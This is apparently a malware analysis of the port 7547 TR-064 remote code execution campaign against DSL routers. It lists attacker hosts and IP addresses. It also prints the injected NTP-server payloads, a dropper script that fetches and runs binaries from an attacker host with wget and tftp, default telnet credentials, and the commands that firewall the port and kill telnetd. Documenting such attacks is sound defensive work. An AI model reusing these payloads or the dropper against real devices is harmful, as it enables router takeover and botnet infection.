Port 7547 SOAP Remote Code Execution Attack Against  DSL Modems

During the attack users were seeing suspicious network activity like this request incoming on TCP port 7547:

This request is described in the TR-064 specification of methods for configuring DSL CPE (customer-premises equipment).

A vulnerability in affected routers causes the device to download the binary with file name “1” from http://l.ocalhost[.]host to the /tmp/-directory and executes it. The IP addresses of this host changed a few times during the day.

Known hosts: timeserver[.]host
securityupdates[.]us; l.ocalhost[.]host; tr069[.]pw; srrys[.]pw; mziep[.]pw; 93.174.93[.]50;
93.190.142[.]201; 188.209.49[.]64; 188.209.49[.]86; 188.209.49[.]60; 188.209.49[.]168
185.62.190[.]203; 5.8.65[.]1; 5.188.232[.]1; 5.188.232[.]2; 5.188.232[.]3; 5.188.232[.]4
5.188.232[.]71; 5.188.232[.]141; 5.188.232[.]152

It works as follow:

Injected code attempts to download 3 different binaries to cover 3 different architectures.

1: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

2: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

3: ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped

It implements a telnet attack using 3 different user & password pairs:

root     xc3511

root     vizxv

root     admin

And the script

busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP

busybox killall -9 telnetd

cd /tmp;wget http://l.ocalhost.host/x.sh;chmod 777 x.sh;./x.sh

<NewNTPServer1>`cd /tmp;tftp -l 3 -r 1 -g l.ocalhost.host;chmod 777 3;./3`</NewNTPServer1>

<NewNTPServer1>`cd /tmp;wget http://l.ocalhost.host/1;chmod 777 1;./1`</NewNTPServer1>

#!/bin/sh

# https://www.instagram.com/p/bxI-TSk3p_/

cd /var/tmp

cd /tmp

rm -f *

wget http://l.ocalhost.host/1

busybox chmod a+x 1

chmod 777 1

./1

rm -f *

wget http://l.ocalhost.host/2

busybox chmod a+x 2

chmod 777 2

./2

rm -f *

wget http://l.ocalhost.host/3

busybox chmod a+x 3

chmod 777 3

./3

rm -f *

wget http://l.ocalhost.host/4

busybox chmod a+x 4

chmod 777 4

./4

rm -f *

wget http://l.ocalhost.host/5

busybox chmod a+x 5

chmod 777 5

./5

rm -f *

wget http://l.ocalhost.host/6

busybox chmod a+x 6

chmod 777 6

./6

rm -f *

wget http://l.ocalhost.host/7

busybox chmod a+x 7

chmod 777 7

./7

rm -f *

The malware closes the vulnerability once the router is infected in line: 

busybox iptables -A INPUT -p tcp --destination-port 7547 -j DROP

and kills the telnet session

busybox killall -9 telnetd

Malware is not able to write itself to the router’s persistent filesystem (runs in memory), therefore the infection will not survive the reboot.